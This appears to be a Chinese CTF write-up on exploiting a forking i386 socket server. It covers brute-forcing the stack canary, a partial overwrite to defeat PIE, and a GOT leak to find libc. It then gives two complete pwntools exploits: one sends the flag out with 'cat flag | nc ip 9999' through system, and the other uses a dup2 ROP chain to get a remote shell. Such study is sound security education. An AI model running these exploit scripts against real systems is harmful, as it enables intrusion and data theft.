bypass pie use partial overwrite and dup2

前言

  这篇文章记录如何使用partial overwrite绕过pie和使用dup2重定向输入输出流到socket

题目

  简单描述下题目的环境,首先服务端使用fork进程来为每个用户建立socket来进行通信,主要逻辑如下:



  其中在read_msg使用socket的recv接收用户输入,同时漏洞也产生在这。

  由于是fork,所以fork得到进程有父进程一样的存储数据,如果开启了canary,那么每次socket连接得到的进程的canary cookie都是跟父进程一样的,这也是我们爆破的前提

  接下来checksecbinary,查看程序开启的保护,得到:

  • Arch: i386-32-little
  • RELRO: Partial RELRO
  • Stack: Canary found
  • NX: NX enabled
  • PIE: PIE enabled

  如上,程序把基本的保护都开了。

  在简单的栈溢出中,我们的直接目的就是覆盖函数的返回地址从而达到控制程序执行流的目的,而canary防护就是在返回地址的前面,加上一串随机的字符,每次程序ret时,对这串字符进行检查,如果这个值跟系统记录的值有所差异,系统就会终止程序执行,达到保护的作用。用gdb调试时可以发现:



  如图,1是canary cookie的位置,而2是要覆盖的返回地址的位置。从图中可以知道要覆盖到2,必然会先覆盖1,所以,如果我们无法得到1的值,那么就算覆盖了2位置,程序在返回时检查cookie也会失败,然后停止执行,最终exp失败。

  前面说过,fork出来的进程内存数据是跟父进程一样的,那么对于canary我们可以通过爆破的方式找到,并且由于cookie(通常为0xXXXXXX00)的最低一个字节0,我们其实只要爆破3个字节就行。

  然后再解释一下ASLRPIE的关系与区别:

ASLR

  ASLR有三级,分别为:

  • 0: 关闭ASLR,没有随机化,堆栈基地址每次都相同,而且libc.so每次的地址也相同
  • 1: 普通的ASLR。mmap基地址、栈(stack)基地址、.so加载基地址都将被随机化,但是堆没用随机化
  • 2: 增强的ASLR,增加了堆随机化

PIE

  而PIE是对代码段、数据段进行地址随机化,但是最终决定是否随机化的靠看ASLR,如果ASLR是关闭的,那么就算开启了PIE也不会进行地址随机化。

  开启了PIE后,在IDA里看到的就是偏移地址,真实地址需要code base address + offset得到。



  对于pie的绕过目前有partial overwrite的方法,因为code base address低12bit都是0,如图:



  所以我们可以通过控制最低一个字节来控制程序的执行流,然后找到可以作为参考的点,进行爆破判断,原理上类似于爆破canary cookie。




  在这道题中,在原来本该返回的地址下方有一个给用户(客户端)send消息的函数,那么我们就可以利用这个地址作为我们爆破的点。我们以服务端是否有消息发送过来作为爆破成功的依据。

  我们知道send_client函数(0x00001177)的最低一个字节是\x77,因为代码段基地址在上面中我们可以看到是0x56561000,所以不管怎么加,它的真实地址的最低一个字节都是\x77。当我们猜中它的地址时它就会发送一些奇怪的东西,因为它调用时栈还是乱七八槽的,但确实能得到数据,如我这里得到的\xb0\x1d\x1b,那我每次都以这个为准。

  最终exp可以写成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

# ip = '192.168.210.11'
ip = '127.0.0.1'
# 'a' * 64 + p32(canary) + 'a' * 12 + p32(ret_addr)
def fuzz():
canary = "\x00"
for i in range(3):
for j in range(1, 256):
if j == 10:
continue
p = remote(ip, 10007)
print p.recvline()
temp = canary + chr(j)
payload = 'A' * 4 * 4 * 4 + temp
p.sendline(payload)
try:
print p.recvuntil('See you again!\n')
canary = temp
break
except:
pass
print "[***] found canary : " + canary

# fuzz()

canary = 0x1b617500
def fuzz_send_client():
code_base = "\x77"
ok = False
for i in range(3):
for j in range(1, 256):
if j == 10:
continue
p = remote(ip, 10007)
print p.recvline()
temp = code_base + chr(j)
payload = 'a' * 64 + p32(canary) + 'b' * 12 + temp
if j == 145:
pause()
p.sendline(payload)
p.sendline(payload)
try:
print p.recvuntil('\xb0\x1d\x1b')
code_base = temp
ok = True
break
except:
pass
if not ok:
print "[!!!] Oops!!!"
exit(-1)
code_base = hex(u32(code_base) - 0x1177)
print "[***] found code_base : " + code_base

# fuzz_send_client()

code_base = 0x5655e000

pelf = ELF('./pie')
libc = ELF('./libc.so.local')
p = remote(ip, 10007)
p.recvline()

main_addr = code_base + 0x00000F3C
send_addr = code_base + 0x00000E8C
libc_start_main = code_base + pelf.got["__libc_start_main"]
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(send_addr) + p32(main_addr) + p32(4) + p32(libc_start_main) + p32(16)
pause()
p.sendline(payload)

libc_start_main = u32(p.recv()[:4])
p.close()
log.debug("libc_start_main: " + hex(libc_start_main))

libc_base_addr = libc_start_main - libc.symbols["__libc_start_main"]
log.debug("libc_base_addr: " + hex(libc_base_addr))
system_addr = libc_base_addr + libc.symbols["system"]
log.debug("system_addr: " + hex(system_addr))

bss_addr = code_base + 0x00003084
recv_addr = code_base + 0x00000DDA
shellcode = "cat flag | nc ip 9999"

log.debug("ready to write bss...")
pause()
p = remote(ip, 10007)
p.recvline()
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)
p.sendline(payload)

log.debug("ready to write shelloce...")
pause()
p.sendline(shellcode)
p.close()

# log.debug("call system...")
# pause()
# p = remote(ip, 10007)
# p.recvline()
# payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(system_addr) + p32(system_addr) + p32(bss_addr)
# p.sendline(payload)

# 0xf75c9c94: call 0xf763f7e0 <execve>
p.interactive()


  fuzzfuzz_send_client分别爆破canary cookie和程序基地址,其实他们都一种手法。

  这里还需要特别说明的是exp在:

1
2
3
4
5
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)
p.sendline(payload)

log.debug("ready to write shelloce...")
p.sendline(shellcode)


  就已经攻击成功,一开始我还有些疑惑,可以看到那些注释了的代码才是我原本的思路,我还需要return到system调用shellcode。

1
2
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(system_addr) + p32(system_addr) + p32(bss_addr)
p.sendline(payload)


  但是事实上,在recv_addr执行完跳到system_addr的时候栈内的数据刚好满足system调用shellcode。而且按照原来的思路:先把shellcode写到bss段,然后再起一个连接执行system(bss_shellcode)。但在调试过程中发现,bss段在每个连接中都会被清0,并不能保存上一个进程写入的shellcode

  在p.sendline(shellcode)执行后的程序栈如下:


  我单独对system调用写了一个简单的程序,对他调试到system处的情况:



  可以看到在进入system时的栈情况都相同,栈顶为返回地址,接下去是参数。

解法二

  上面之所以采用反弹的方式是因为socket不能作为程序的输入输出流,因为主程序运行在服务器上,所以即使你/bin/sh成功,你也收不到shell,只会在服务器端开启一个shell。如果我们能够重定向输入输出流到socket,那么我们就能拿到一个shell

  在Linux中有一个dup2的程序,其官方解释如下:

1
2
3
4
5
6
7
8
9
10
dup, dup2, dup3 - duplicate a file descriptor

The dup() system call creates a copy of the file descriptor oldfd,
using the lowest-numbered unused file descriptor for the new
descriptor.

The dup2() system call performs the same task as dup(), but instead
of using the lowest-numbered unused file descriptor, it uses the file
descriptor number specified in newfd. If the file descriptor newfd
was previously open, it is silently closed before being reused.

  它的作用就是重定向一个文件描述符,Linux的理念就是一切皆文件,输入输出也一样。

1
2
3
0: 进程的标准输入相关联
1: 进程的标准输出相关联
2: 进程的标准错误输出相关联

  而socket的文件描述符在此环境中为4。那么我们就可以使用:

  • dup2(4, 0)
  • dup2(4, 1)

  来把输入输出定向到socket上。

  因为dup2只对当前进程有效,不能说我先用两个连接(进程)来启动dup2,之后就直接调system。我们必须在一次连接中完成重定向输入输出和调用system。那么我们怎么构造payload呢?一般我们都是return一次,如:

1
2
# 执行完recv,就跳到system,但不能再跳了
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(recv_addr) + p32(system_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

  这里我们使用一个gadgetpop pop ret。因为我们dup2的参数有两个,所以我们要pop两次才能维持栈平衡,不影响下一个调用。这里的gadget可以用ROPgadget查找。

  最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

# ip = '192.168.210.11'
ip = '127.0.0.1'

canary = 0x1b617500
code_base = 0x5655e000

pelf = ELF('./pie')
libc = ELF('./libc.so.local')
p = remote(ip, 10007)
p.recvline()

main_addr = code_base + 0x00000F3C
send_addr = code_base + 0x00000E8C
libc_start_main = code_base + pelf.got["__libc_start_main"]
payload = 'a' * 64 + p32(canary) + 'b' * 12 + p32(send_addr) + p32(main_addr) + p32(4) + p32(libc_start_main) + p32(16)
pause()
p.sendline(payload)

libc_start_main = u32(p.recv()[:4])
p.close()
log.debug("libc_start_main: " + hex(libc_start_main))

libc_base_addr = libc_start_main - libc.symbols["__libc_start_main"]
log.debug("libc_base_addr: " + hex(libc_base_addr))
system_addr = libc_base_addr + libc.symbols["system"]
log.debug("system_addr: " + hex(system_addr))
binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
log.debug("binsh_addr: " + hex(binsh_addr))
dup2_adddr = libc_base_addr + libc.symbols["dup2"]
log.debug("dup2_adddr: " + hex(dup2_adddr))

ppr_addr = code_base + 0x0000122A
log.debug("use dup2 to call system sh...")
pause()
p = remote(ip, 10007)
p.recvline()
padding = 'a' * 64 + p32(canary) + 'b' * 12
payload = padding + p32(dup2_adddr) + p32(ppr_addr) + p32(4) + p32(1) + p32(dup2_adddr) + p32(ppr_addr) + p32(4) + p32(0)
payload += p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

参考链接

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×